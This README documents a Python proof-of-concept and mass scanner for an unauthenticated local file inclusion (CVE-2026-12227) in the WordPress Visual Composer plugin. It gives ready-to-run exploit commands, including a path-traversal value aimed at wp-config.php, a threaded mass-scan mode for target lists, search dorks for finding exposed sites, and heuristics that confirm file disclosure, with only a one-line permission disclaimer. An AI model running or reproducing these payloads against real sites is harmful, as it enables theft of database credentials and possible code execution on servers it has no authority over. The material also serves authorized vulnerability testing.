
Python 3 PoC and scanner for CVE-2026-12227, an unauthenticated local file inclusion in WordPress Visual Composer Website Builder via the vcv-template parameter.
Python 3 PoC for CVE-2026-12227 (Wordfence): Local File Inclusion via the vcv-template query parameter in Visual Composer Website Builder (visualcomposer on wordpress.org).
| Platform | WordPress plugin |
| Component | Visual Composer Website Builder |
| Affected | ≤ 45.16.0 |
| Fixed in | > 45.16.0 (WP Trac 3619572) — use latest stable (e.g. 45.16.3+) |
| CVSS | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Auth | Unauthenticated |
| CWE | CWE-98 |
| Not | WPBakery (js_composer) or SAP NetWeaver Visual Composer |
On vulnerable versions, public page loads honor attacker-controlled vcv-template (with vcv-template-type) during WordPress template_include handling inside PageTemplatesController. That can include attacker-chosen files on disk; PHP files may execute (RCE). Wordfence notes chains with uploaded “safe” extensions in some setups.
?vcv-template-type=vc&vcv-template=blank or LFI paths under vcv-template.vcv-template-type, vcv-template-stretched.pip install -r requirements.txt
Python 3.8+.
# Version + plugin + VC page crawl + template/LFI probes
python poc.py -u https://target.example --mode check
# Known VC landing page
python poc.py -u https://target.example --mode check --page-url /
# Mass scan
python poc.py --list targets.example.txt --mode check --threads 25 --quiet
# Custom include path (authorized testing only)
python poc.py -u https://target.example --mode exploit --page-url / --file ../../../../../../wp-config.php
# JSON for scripting
python poc.py -u https://target.example --mode check --json
| File | Meaning |
|---|---|
cve_2026_12227_results.jsonl | Full per-target JSON |
hits.txt | Candidate hostnames |
candidates.jsonl | Check-mode summary (page_url, status, lfi) |
| Status | Meaning |
|---|---|
lfi_confirmed | Response matches wp-config / /etc/passwd / version.php heuristics |
vcv_template_controllable | vcv-template=blank changes layout vs baseline (vuln param honored) |
plugin_vuln_no_surface | Old plugin version but no VC page or param ignored |
no_vc_page | Plugin present, no VC markers on crawled paths |
patched | Version > 45.16.0 |
body="/wp-content/plugins/visualcomposer/"
body="data-vcv-" && body="wp-content"
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php (getCurrentTemplateLayout, viewPageTemplate).exploitable_candidate; confirm on a staging clone before assuming RCE.Use only on systems you own or have explicit permission to test.